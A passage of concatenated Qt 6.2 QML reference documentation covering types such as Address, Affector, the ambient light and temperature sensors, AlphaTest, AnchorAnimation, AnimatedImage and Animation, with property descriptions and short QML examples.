  ###  [since QtPositioning 6.2] streetNumber : [string](qml-string)

 This property holds the street number of the address like a unit number, a building name, or anything else that might be used to distinguish one address from another.

 This property was introduced in QtPositioning 6.2.

 ###  text : [string](qml-string)

 This property holds the address as a single formatted string. It is the recommended string to use to display the address to the user. It typically takes the format of an address as found on an envelope, but this is not always necessarily the case.

 The address `text` is either automatically generated or explicitly assigned, this can be determined by checking [isTextGenerated](qml-qtpositioning-address#isTextGenerated-prop).

 If an empty string is assigned to `text`, then [isTextGenerated](qml-qtpositioning-address#isTextGenerated-prop) will be set to true and `text` will return a string which is locally formatted according to [countryCode](qml-qtpositioning-address#countryCode-prop) and based on the properties of the address. Modifying the address properties such as [street](qml-qtpositioning-address#street-prop), [city](qml-qtpositioning-address#city-prop) and so on may cause the contents of `text` to change.

 If a non-empty string is assigned to `text`, then [isTextGenerated](qml-qtpositioning-address#isTextGenerated-prop) will be set to false and `text` will always return the explicitly assigned string. Modifying address properties will not affect the `text` property.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtpositioning-address.html>

Affector QML Type
=================

 Applies alterations to the attributes of logical particles at any point in their lifetime. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Particles |
|  Inherited By: | [Age](qml-qtquick-particles-age), [Attractor](qml-qtquick-particles-attractor), [Friction](qml-qtquick-particles-friction), [Gravity](qml-qtquick-particles-gravity), [GroupGoal](qml-qtquick-particles-groupgoal), [SpriteGoal](qml-qtquick-particles-spritegoal), [Turbulence](qml-qtquick-particles-turbulence), and [Wander](qml-qtquick-particles-wander) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-particles-affector-members.html)

 Properties
----------

 * **[acceleration](qml-qtquick-particles-affector#acceleration-prop)** : StochasticDirection
* **[enabled](qml-qtquick-particles-affector#enabled-prop)** : bool
* **[groups](qml-qtquick-particles-affector#groups-prop)** : list<string>
* **[once](qml-qtquick-particles-affector#once-prop)** : bool
* **[position](qml-qtquick-particles-affector#position-prop)** : StochasticDirection
* **[relative](qml-qtquick-particles-affector#relative-prop)** : bool
* **[shape](qml-qtquick-particles-affector#shape-prop)** : Shape
* **[system](qml-qtquick-particles-affector#system-prop)** : ParticleSystem
* **[velocity](qml-qtquick-particles-affector#velocity-prop)** : StochasticDirection
* **[whenCollidingWith](qml-qtquick-particles-affector#whenCollidingWith-prop)** : list<string>

 Signals
-------

 * **[affected](qml-qtquick-particles-affector#affected-signal)**(real *x*, real *y*)

 Detailed Description
--------------------

 The base Affector does not alter any attributes, but can be used to emit a signal when a particle meets certain conditions.

 If an affector has a defined size, then it will only affect particles within its size and position on screen.

 Affectors have different performance characteristics to the other particle system elements. In particular, they have some simplifications to try to maintain a simulation at real-time or faster. When running a system with Affectors, irregular frame timings that grow too large ( > one second per frame) will cause the Affectors to try and cut corners with a faster but less accurate simulation. If the system has multiple affectors the order in which they are applied is not guaranteed, and when simulating larger time shifts they will simulate the whole shift each, which can lead to different results compared to smaller time shifts.

 Accurate simulation for large numbers of particles (hundreds) with multiple affectors may be possible on some hardware, but on less capable hardware you should expect small irregularties in the simulation as simulates with worse granularity.

 Property Documentation
----------------------

 ###  acceleration : StochasticDirection

 Affected particles will have their acceleration set to this direction.

 ###  enabled : [bool](qml-bool)

 If enabled is set to false, this affector will not affect any particles.

 Usually this is used to conditionally turn an affector on or off.

 Default value is true.

 ###  groups : [list](qml-list)<[string](qml-string)>

 Which logical particle groups will be affected.

 If empty, it will affect all particles.

 ###  once : [bool](qml-bool)

 If once is set to true, this affector will only affect each particle once in their lifetimes. If the affector normally simulates a continuous effect over time, then it will simulate the effect of one second of time the one instant it affects the particle.

 Default value is false.

 ###  position : StochasticDirection

 Affected particles will have their position set to this direction, relative to the [ParticleSystem](qml-qtquick-particles-particlesystem). When interpreting directions as points, imagine it as an arrow with the base at the 0,0 of the [ParticleSystem](qml-qtquick-particles-particlesystem) and the tip at where the specified position will be.

 ###  relative : [bool](qml-bool)

 Whether the affected particles have their existing position/velocity/acceleration added to the new one.

 Default is true.

 ###  shape : [Shape](qml-qtquick-shapes-shape)

 If a size has been defined, the shape property can be used to affect a non-rectangular area.

 ###  system : [ParticleSystem](qml-qtquick-particles-particlesystem)

 This is the system which will be affected by the element. If the Affector is a direct child of a [ParticleSystem](qml-qtquick-particles-particlesystem), it will automatically be associated with it.

 ###  velocity : StochasticDirection

 Affected particles will have their velocity set to this direction.

 ###  whenCollidingWith : [list](qml-list)<[string](qml-string)>

 If any logical particle groups are specified here, then the affector will only be triggered if the particle being examined intersects with a particle of one of these groups.

 This is different from the groups property. The groups property selects which particles might be examined, and if they meet other criteria (including being within the bounds of the Affector, modified by shape) then they will be tested again to see if they intersect with a particles from one of the particle groups in whenCollidingWith.

 By default, no groups are specified.

 Signal Documentation
--------------------

 ###  affected([real](qml-real) *x*, [real](qml-real) *y*)

 This signal is emitted when a particle is selected to be affected. It will not be emitted if a particle is considered by the Affector but not actually altered in any way.

 In the special case where an Affector has no possible effect (e.g. Affector {}), this signal will be emitted for all particles being considered if you connect to it. This allows you to execute arbitrary code in response to particles (use the Affector::onAffectParticles signal handler if you want to execute code which affects the particles themselves). As this executes JavaScript code per particle, it is not recommended to use this signal with a high-volume particle system.

 (*x*, *y*) is the particle's current position.

 **Note:** The corresponding handler is `onAffected`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-particles-affector.html>

AmbientLightSensor QML Type
===========================

 The AmbientLightSensor element repors on ambient lighting conditions. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtSensors |
|  Since: |  QtSensors 5.0 |
|  Inherits: | [Sensor](qml-qtsensors-sensor) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtsensors-ambientlightsensor-members.html)

 Detailed Description
--------------------

 The AmbientLightSensor element repors on ambient lighting conditions.

 This element wraps the [QAmbientLightSensor](qambientlightsensor) class. Please see the documentation for [QAmbientLightSensor](qambientlightsensor) for details.

 **See also** [AmbientLightReading](qml-qtsensors-ambientlightreading).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtsensors-ambientlightsensor.html>

AmbientTemperatureSensor QML Type
=================================

 The AmbientTemperatureSensor element reports on the ambient temperature. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtSensors |
|  Since: |  QtSensors 5.1 |
|  Inherits: | [Sensor](qml-qtsensors-sensor) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtsensors-ambienttemperaturesensor-members.html)

 Detailed Description
--------------------

 The AmbientTemperatureSensor element reports on the ambient temperature.

 This element wraps the [QAmbientTemperatureSensor](qambienttemperaturesensor) class. Please see the documentation for [QAmbientTemperatureSensor](qambienttemperaturesensor) for details.

 **See also** [AmbientTemperatureReading](qml-qtsensors-ambienttemperaturereading).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtsensors-ambienttemperaturesensor.html>

Affector3D QML Type
===================

 Affectors modify the attributes of particles during their lifetime. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Particles3D |
|  Since: |  Qt 6.2 |
|  Inherits: | [Node](qml-qtquick3d-node) |
|  Inherited By: | [Attractor3D](qml-qtquick3d-particles3d-attractor3d), [Gravity3D](qml-qtquick3d-particles3d-gravity3d), [PointRotator3D](qml-qtquick3d-particles3d-pointrotator3d), and [Wander3D](qml-qtquick3d-particles3d-wander3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-particles3d-affector3d-members.html)

 Properties
----------

 * **[enabled](qml-qtquick3d-particles3d-affector3d#enabled-prop)** : bool
* **[particles](qml-qtquick3d-particles3d-affector3d#particles-prop)** : List<Particle3D>
* **[system](qml-qtquick3d-particles3d-affector3d#system-prop)** : ParticleSystem3D

 Detailed Description
--------------------

 The Affector3D is an abstract base class of affectors like [Gravity3D](qml-qtquick3d-particles3d-gravity3d), [Wander3D](qml-qtquick3d-particles3d-wander3d), and [PointRotator3D](qml-qtquick3d-particles3d-pointrotator3d).

 By default affectors affect all particles in the system, but this can be limited by defining the [particles](qml-qtquick3d-particles3d-affector3d#particles-prop) list. If the system has multiple affectors, the order of affectors may result in different outcome, as affectors are applied one after another.

 Property Documentation
----------------------

 ###  enabled : [bool](qml-bool)

 If enabled is set to `false`, this affector will not alter any particles. Usually this is used to conditionally turn an affector on or off.

 The default value is `true`.

 ###  particles : List<[Particle3D](qml-qtquick3d-particles3d-particle3d)>

 This list controls which logical particles will be affected. When empty, all particles in the system are affected.

 ###  system : [ParticleSystem3D](qml-qtquick3d-particles3d-particlesystem3d)

 This property defines the [ParticleSystem3D](qml-qtquick3d-particles3d-particlesystem3d) for the affector. If system is direct parent of the affector, this property does not need to be defined.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-particles3d-affector3d.html>

Age QML Type
============

 For altering particle ages. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Particles |
|  Inherits: | [Affector](qml-qtquick-particles-affector) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-particles-age-members.html)

 Properties
----------

 * **[advancePosition](qml-qtquick-particles-age#advancePosition-prop)** : bool
* **[lifeLeft](qml-qtquick-particles-age#lifeLeft-prop)** : int

 Detailed Description
--------------------

 The Age affector allows you to alter where the particle is in its lifecycle. Common uses are to expire particles prematurely, possibly giving them time to animate out.

 The Age affector is also sometimes known as a 'Kill' affector, because with the default parameters it will immediately expire all particles which it affects.

 The Age affector only applies to particles which are still alive.

 Property Documentation
----------------------

 ###  advancePosition : [bool](qml-bool)

 advancePosition determines whether position, veclocity and acceleration are included in the simulated aging done by the affector. If advancePosition is false, then the position, velocity and acceleration will remain the same and only other attributes (such as opacity) will advance in the simulation to where it would normally be for that point in the particle's life. With advancePosition set to true the position, velocity and acceleration will also advance to where it would normally be by that point in the particle's life, making it advance its position on screen.

 Default value is true.

 ###  lifeLeft : [int](qml-int)

 The amount of life to set the particle to have. Affected particles will advance to a point in their life where they will have this many milliseconds left to live.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-particles-age.html>

AlphaCoverage QML Type
======================

 Enable alpha-to-coverage multisampling mode. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QAlphaCoverage](qt3drender-qalphacoverage) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-alphacoverage-members.html)

 Detailed Description
--------------------

 An AlphaCoverage type enables alpha-to-coverage multisampling mode. When enabled, the fragment alpha value is used as a coverage for the sample and combined with fragment coverage value. AlphaCoverage does nothing if multisampling is disabled. Alpha-to-coverage is most useful when order independent blending is required, for example when rendering leaves, grass and other rich vegetation.

 It can be added to a [RenderPass](qml-qt3d-render-renderpass):

 
```
RenderPass {
    shaderProgram: ShaderProgram {
        // ...
    }
    renderStates: [
        AlphaCoverage {},
        MultiSampleAntiAliasing {}
    ]
}
```
 Or to a [RenderStateSet](qml-qt3d-render-renderstateset):

 
```
RenderStateSet {
    renderStates: [
        AlphaCoverage {},
        MultiSampleAntiAliasing {}
    ]
}
```
 **See also** [MultiSampleAntiAliasing](qml-qt3d-render-multisampleantialiasing).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-alphacoverage.html>

AlphaTest QML Type
==================

 The AlphaTest class specify alpha reference test. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QAlphaTest](qt3drender-qalphatest) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-alphatest-members.html)

 Properties
----------

 * **[alphaFunction](qml-qt3d-render-alphatest#alphaFunction-prop)** : enumeration
* **[referenceValue](qml-qt3d-render-alphatest#referenceValue-prop)** : real

 Detailed Description
--------------------

 As the OpenGL documentation explains; The alpha test discards a fragment conditional on the outcome of a comparison between the incoming fragment's alpha value and a constant reference value.

 Property Documentation
----------------------

 ###  alphaFunction : [enumeration](qml-enumeration)

 Holds the alpha function used by the alpha test. Default is [AlphaTest](qml-qt3d-render-alphatest).Never.

 * [AlphaTest](qml-qt3d-render-alphatest).Never
* [AlphaTest](qml-qt3d-render-alphatest).Always
* [AlphaTest](qml-qt3d-render-alphatest).Less
* [AlphaTest](qml-qt3d-render-alphatest).LessOrEqual
* [AlphaTest](qml-qt3d-render-alphatest).Equal
* [AlphaTest](qml-qt3d-render-alphatest).GreaterOrEqual
* [AlphaTest](qml-qt3d-render-alphatest).Greater
* [AlphaTest](qml-qt3d-render-alphatest).NotEqual

 **See also** [Qt3DRender::QAlphaTest::AlphaFunction](qt3drender-qalphatest#AlphaFunction-enum).

 ###  referenceValue : [real](qml-real)

 Holds the reference value used by the alpha test. Default is 0.0. When set, the value is clamped between 0 and 1.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-alphatest.html>

AmbientLightReading QML Type
============================

 The AmbientLightReading element holds the most [AmbientLightSensor](qml-qtsensors-ambientlightsensor) reading. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtSensors |
|  Since: |  QtSensors 5.0 |
|  Inherits: | [SensorReading](qml-qtsensors-sensorreading) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtsensors-ambientlightreading-members.html)

 Properties
----------

 * **[lightLevel](qml-qtsensors-ambientlightreading#lightLevel-prop)** : LightLevel

 Detailed Description
--------------------

 The AmbientLightReading element holds the most [AmbientLightSensor](qml-qtsensors-ambientlightsensor) reading.

 This element wraps the [QAmbientLightReading](qambientlightreading) class. Please see the documentation for [QAmbientLightReading](qambientlightreading) for details.

 This element cannot be directly created.

 Property Documentation
----------------------

 ###  lightLevel : LightLevel

 This property holds the ambient light level.

 Please see [QAmbientLightReading::lightLevel](qambientlightreading#lightLevel-prop) for information about this property.

 Note that LightLevel constants are exposed through the [AmbientLightReading](qml-qtsensors-ambientlightreading) class.

 
```

 AmbientLightSensor {
     onReadingChanged: {
         if (reading.lightLevel == AmbientLightReading.Dark)
             // do something
     }
 }

```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtsensors-ambientlightreading.html>

AmbientTemperatureReading QML Type
==================================

 The AmbientTemperatureReading element holds the most recent temperature reading. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtSensors |
|  Since: |  QtSensors 5.1 |
|  Inherits: | [SensorReading](qml-qtsensors-sensorreading) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtsensors-ambienttemperaturereading-members.html)

 Properties
----------

 * **[temperature](qml-qtsensors-ambienttemperaturereading#temperature-prop)** : qreal

 Detailed Description
--------------------

 The AmbientTemperatureReading element holds the most recent temperature reading.

 This element wraps the [QAmbientTemperatureReading](qambienttemperaturereading) class. Please see the documentation for [QAmbientTemperatureReading](qambienttemperaturereading) for details.

 This element cannot be directly created.

 Property Documentation
----------------------

 ###  temperature : qreal

 This property holds the ambient temperature in degree Celsius.

 Please see [QAmbientTemperatureReading::temperature](qambienttemperaturereading#temperature-prop) for information about this property.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtsensors-ambienttemperaturereading.html>

AnalogAxisInput QML Type
========================

 QML frontend for QAnalogAxisInput C++ class. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QAnalogAxisInput](qt3dinput-qanalogaxisinput) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-analogaxisinput-members.html)

 Properties
----------

 * **[axis](qml-qt3d-input-analogaxisinput#axis-prop)** : int

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  axis : [int](qml-int)

 Holds the axis for the [AnalogAxisInput](qml-qt3d-input-analogaxisinput).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-analogaxisinput.html>

AnchorAnimation QML Type
========================

 Animates changes in anchor values. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Animation](qml-qtquick-animation) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-anchoranimation-members.html)

 Properties
----------

 * **[duration](qml-qtquick-anchoranimation#duration-prop)** : int
* **[easing](qml-qtquick-anchoranimation#easing-prop)**
	+ **[easing.amplitude](qml-qtquick-anchoranimation#easing.amplitude-prop)** : real
	+ **[easing.overshoot](qml-qtquick-anchoranimation#easing.overshoot-prop)** : real
	+ **[easing.period](qml-qtquick-anchoranimation#easing.period-prop)** : real
	+ **[easing.type](qml-qtquick-anchoranimation#easing.type-prop)** : enumeration
* **[targets](qml-qtquick-anchoranimation#targets-prop)** : list<Item>

 Detailed Description
--------------------

 AnchorAnimation is used to animate an anchor change.

 In the following snippet we animate the addition of a right anchor to a [Rectangle](qml-qtquick-rectangle):

 
```
import QtQuick 2.0

Item {
    id: container
    width: 200; height: 200

    Rectangle {
        id: myRect
        width: 100; height: 100
        color: "red"
    }

    states: State {
        name: "reanchored"
        AnchorChanges { target: myRect; anchors.right: container.right }
    }

    transitions: Transition {
        // smoothly reanchor myRect and move into new position
        AnchorAnimation { duration: 1000 }
    }

    Component.onCompleted: container.state = "reanchored"
}
```
 When an AnchorAnimation is used in a [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition), it will animate any [AnchorChanges](qml-qtquick-anchorchanges) that have occurred during the state change. This can be overridden by setting a specific target item using the [AnchorChanges.target](qml-qtquick-anchorchanges#target-prop) property.

  **Note:** AnchorAnimation can only be used in a [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition) and in conjunction with an AnchorChange. It cannot be used in behaviors and other types of animations.

  **See also** [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations) and [AnchorChanges](qml-qtquick-anchorchanges).

 Property Documentation
----------------------

 ###  duration : [int](qml-int)

 This property holds the duration of the animation, in milliseconds.

 The default value is 250.

 ###  easing.amplitude : [real](qml-real)

 Specifies the easing curve used for the animation

 To specify an easing curve you need to specify at least the type. For some curves you can also specify amplitude, period and/or overshoot. The default easing curve is Linear.

 
```
AnchorAnimation { easing.type: Easing.InOutQuad }
```
 See the [PropertyAnimation::easing.type](qml-qtquick-propertyanimation#easing.type-prop) documentation for information about the different types of easing curves.

 ###  targets : [list](qml-list)<[Item](qml-qtquick-item)>

 The items to reanchor.

 If no targets are specified all [AnchorChanges](qml-qtquick-anchorchanges) will be animated by the [AnchorAnimation](qml-qtquick-anchoranimation).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-anchoranimation.html>

AnchorChanges QML Type
======================

 Specifies how to change the anchors of an item in a state. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-anchorchanges-members.html)

 Properties
----------

 * **[anchors](qml-qtquick-anchorchanges#anchors-prop)**
	+ **[anchors.baseline](qml-qtquick-anchorchanges#anchors.baseline-prop)** : AnchorLine
	+ **[anchors.bottom](qml-qtquick-anchorchanges#anchors.bottom-prop)** : AnchorLine
	+ **[anchors.horizontalCenter](qml-qtquick-anchorchanges#anchors.horizontalCenter-prop)** : AnchorLine
	+ **[anchors.left](qml-qtquick-anchorchanges#anchors.left-prop)** : AnchorLine
	+ **[anchors.right](qml-qtquick-anchorchanges#anchors.right-prop)** : AnchorLine
	+ **[anchors.top](qml-qtquick-anchorchanges#anchors.top-prop)** : AnchorLine
	+ **[anchors.verticalCenter](qml-qtquick-anchorchanges#anchors.verticalCenter-prop)** : AnchorLine
* **[target](qml-qtquick-anchorchanges#target-prop)** : Item

 Detailed Description
--------------------

 The AnchorChanges type is used to modify the anchors of an item in a [State](qml-qtquick-state).

 AnchorChanges cannot be used to modify the margins on an item. For this, use [PropertyChanges](qml-qtquick-propertychanges) instead.

 In the following example we change the top and bottom anchors of an item using AnchorChanges, and the top and bottom anchor margins using [PropertyChanges](qml-qtquick-propertychanges):

 
```
import QtQuick 2.0

Rectangle {
    id: window
    width: 120; height: 120
    color: "black"

    Rectangle { id: myRect; width: 50; height: 50; color: "red" }

    states: State {
        name: "reanchored"

        AnchorChanges {
            target: myRect
            anchors.top: window.top
            anchors.bottom: window.bottom
        }
        PropertyChanges {
            target: myRect
            anchors.topMargin: 10
            anchors.bottomMargin: 10
        }
    }

    MouseArea { anchors.fill: parent; onClicked: window.state = "reanchored" }
}
```
 ![]


AnchorChanges can be animated using [AnchorAnimation](qml-qtquick-anchoranimation).

 
```
//animate our anchor changes
Transition {
    AnchorAnimation {}
}
```
 Changes to anchor margins can be animated using [NumberAnimation](qml-qtquick-numberanimation).

 For more information on anchors see [Anchor Layouts](qtquick-positioning-anchors).

 Property Documentation
----------------------

 ###  anchors.baseline : AnchorLine

 These properties change the respective anchors of the item.

 To reset an anchor you can assign `undefined`:

 
```
AnchorChanges {
    target: myItem
    anchors.left: undefined          //remove myItem's left anchor
    anchors.right: otherItem.right
}
```
 ###  target : [Item](qml-qtquick-item)

 This property holds the [Item](qml-qtquick-item) for which the anchor changes will be applied.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-anchorchanges.html>

AngleDirection QML Type
=======================

 For specifying a direction that varies in angle. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Particles |
|  Inherits: | [Direction](qml-qtquick-particles-direction) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-particles-angledirection-members.html)

 Properties
----------

 * **[angle](qml-qtquick-particles-angledirection#angle-prop)** : real
* **[angleVariation](qml-qtquick-particles-angledirection#angleVariation-prop)** : real
* **[magnitude](qml-qtquick-particles-angledirection#magnitude-prop)** : real
* **[magnitudeVariation](qml-qtquick-particles-angledirection#magnitudeVariation-prop)** : real

 Detailed Description
--------------------

 The AngledDirection element allows both the specification of a direction by angle and magnitude, as well as varying the parameters by angle or magnitude.

 Property Documentation
----------------------

 ###  angle : [real](qml-real)

 This property specifies the base angle for the direction. The angle of this direction will vary by no more than [angleVariation](qml-qtquick-particles-angledirection#angleVariation-prop) from this angle.

 Angle is specified by degrees clockwise from straight right.

 The default value is zero.

 ###  angleVariation : [real](qml-real)

 This property specifies the maximum angle variation for the direction. The angle of the direction will vary by up to angleVariation clockwise and anticlockwise from the value specified in angle.

 Angle is specified by degrees clockwise from straight right.

 The default value is zero.

 ###  magnitude : [real](qml-real)

 This property specifies the base magnitude for the direction. The magnitude of this direction will vary by no more than [magnitudeVariation](qml-qtquick-particles-angledirection#magnitudeVariation-prop) from this magnitude.

 Magnitude is specified in units of pixels per second.

 The default value is zero.

 ###  magnitudeVariation : [real](qml-real)

 This property specifies the base magnitude for the direction. The magnitude of this direction will vary by no more than magnitudeVariation from the base magnitude.

 Magnitude is specified in units of pixels per second.

 The default value is zero.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-particles-angledirection.html>

AnimatedImage QML Type
======================

 Plays animations stored as a series of images. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Image](qml-qtquick-image) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-animatedimage-members.html)

 Properties
----------

 * **[currentFrame](qml-qtquick-animatedimage#currentFrame-prop)** : int
* **[frameCount](qml-qtquick-animatedimage#frameCount-prop)** : int
* **[paused](qml-qtquick-animatedimage#paused-prop)** : bool
* **[playing](qml-qtquick-animatedimage#playing-prop)** : bool
* **[source](qml-qtquick-animatedimage#source-prop)** : url
* **[speed](qml-qtquick-animatedimage#speed-prop)** : real

 Detailed Description
--------------------

 The AnimatedImage type extends the features of the [Image](qml-qtquick-image) type, providing a way to play animations stored as images containing a series of frames, such as those stored in GIF files.

 Information about the current frame and total length of the animation can be obtained using the [currentFrame](qml-qtquick-animatedimage#currentFrame-prop) and [frameCount](qml-qtquick-animatedimage#frameCount-prop) properties. You can start, pause and stop the animation by changing the values of the [playing](qml-qtquick-animatedimage#playing-prop) and [paused](qml-qtquick-animatedimage#paused-prop) properties.

 The full list of supported formats can be determined with [QMovie::supportedFormats](qmovie#supportedFormats)().

 Example Usage
-------------


    ![]  
The following QML shows how to display an animated image and obtain information about its state, such as the current frame and total number of frames. The result is an animated image with a simple progress indicator underneath it.

 **Note**: When animated images are cached, every frame of the animation will be cached.

 Set cache to false if you are playing a long or large animation and you want to conserve memory.

 If the image data comes from a sequential device (e.g. a socket), AnimatedImage can only loop if cache is set to true.

 
```
import QtQuick 2.0

Rectangle {
    width: animation.width; height: animation.height + 8

    AnimatedImage { id: animation; source: "animation.gif" }

    Rectangle {
        property int frames: animation.frameCount

        width: 4; height: 8
        x: (animation.width - width) * animation.currentFrame / frames
        y: animation.height
        color: "red"
    }
}
```
 **See also** [BorderImage](qml-qtquick-borderimage) and [Image](qml-qtquick-image).

 Property Documentation
----------------------

  ###  currentFrame : [int](qml-int)

 
[currentFrame](qml-qtquick-animatedimage#currentFrame-prop) is the frame that is currently visible. By monitoring this property for changes, you can animate other items at the same time as the image.

 [frameCount](qml-qtquick-animatedimage#frameCount-prop) is the number of frames in the animation. For some animation formats, [frameCount](qml-qtquick-animatedimage#frameCount-prop) is unknown and has a value of zero.

 ###  paused : [bool](qml-bool)

 This property holds whether the animated image is paused.

 By default, this property is false. Set it to true when you want to pause the animation.

 ###  playing : [bool](qml-bool)

 This property holds whether the animated image is playing.

 By default, this property is true, meaning that the animation will start playing immediately.

 **Note**: this property is affected by changes to the actual playing state of [AnimatedImage](qml-qtquick-animatedimage). If non-animated images are used, *playing* will need to be manually set to *true* in order to animate following images.

 
```
AnimatedImage {
    onStatusChanged: playing = (status == AnimatedImage.Ready)
}
```
 ###  source : [url](qml-url)

 This property holds the URL that refers to the source image.

 [AnimatedImage](qml-qtquick-animatedimage) can handle any image format supported by Qt, loaded from any URL scheme supported by Qt. It is however not compatible with [QQuickImageProvider](qquickimageprovider).

 ###  [since QtQuick 2.11] speed : [real](qml-real)

 This property holds the speed of the animation.

 The speed is measured in percentage of the original animated image speed. The default speed is 1.0 (original speed).

 This property was introduced in QtQuick 2.11.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-animatedimage.html>

Animation QML Type
==================

 Is the base of all QML animations. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherited By: | [AnchorAnimation](qml-qtquick-anchoranimation), [Animator](qml-qtquick-animator), [ParallelAnimation](qml-qtquick-parallelanimation), [ParentAnimation](qml-qtquick-parentanimation), [PathAnimation](qml-qtquick-pathanimation), [PauseAnimation](qml-qtquick-pauseanimation), [PropertyAction](qml-qtquick-propertyaction), [PropertyAnimation](qml-qtquick-propertyanimation), [ScriptAction](qml-qtquick-scriptaction), and [SequentialAnimation](qml-qtquick-sequentialanimation) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-animation-members.html)

 Properties
----------

 * **[alwaysRunToEnd](qml-qtquick-animation#alwaysRunToEnd-prop)** : bool
* **[loops](qml-qtquick-animation#loops-prop)** : int
* **[paused](qml-qtquick-animation#paused-prop)** : bool
* **[running](qml-qtquick-animation#running-prop)** : bool

 Signals
-------

 * **[finished](qml-qtquick-animation#finished-signal)**()
* **[started](qml-qtquick-animation#started-signal)**()
* **[stopped](qml-qtquick-animation#stopped-signal)**()

 Methods
-------

 * **[complete](qml-qtquick-animation#complete-method)**()
* **[pause](qml-qtquick-animation#pause-method)**()
* **[restart](qml-qtquick-animation#restart-method)**()
* **[resume](qml-qtquick-animation#resume-method)**()
* **[start](qml-qtquick-animation#start-method)**()
* **[stop](qml-qtquick-animation#stop-method)**()

 Detailed Description
--------------------

 The Animation type cannot be used directly in a QML file. It exists to provide a set of common properties and methods, available across all the other animation types that inherit from it. Attempting to use the Animation type directly will result in an error.

 Property Documentation
----------------------

 ###  alwaysRunToEnd : [bool](qml-bool)

 This property holds whether the animation should run to completion when it is stopped.

 If this true the animation will complete its current iteration when it is stopped - either by setting the `running` property to false, or by calling the `stop()` method. The `complete()` method is not effected by this value.

 This behavior is most useful when the `loops` property is set, as the animation will finish playing normally but not restart.

 By default, the alwaysRunToEnd property is not set.

  **Note:** alwaysRunToEnd has no effect on animations in a Transition.

  ###  loops : [int](qml-int)

 This property holds the number of times the animation should play.

 By default, `loops` is 1: the animation will play through once and then stop.

 If set to Animation.Infinite, the animation will continuously repeat until it is explicitly stopped - either by setting the `running` property to false, or by calling the `stop()` method.

 In the following example, the rectangle will spin indefinitely.

 
```
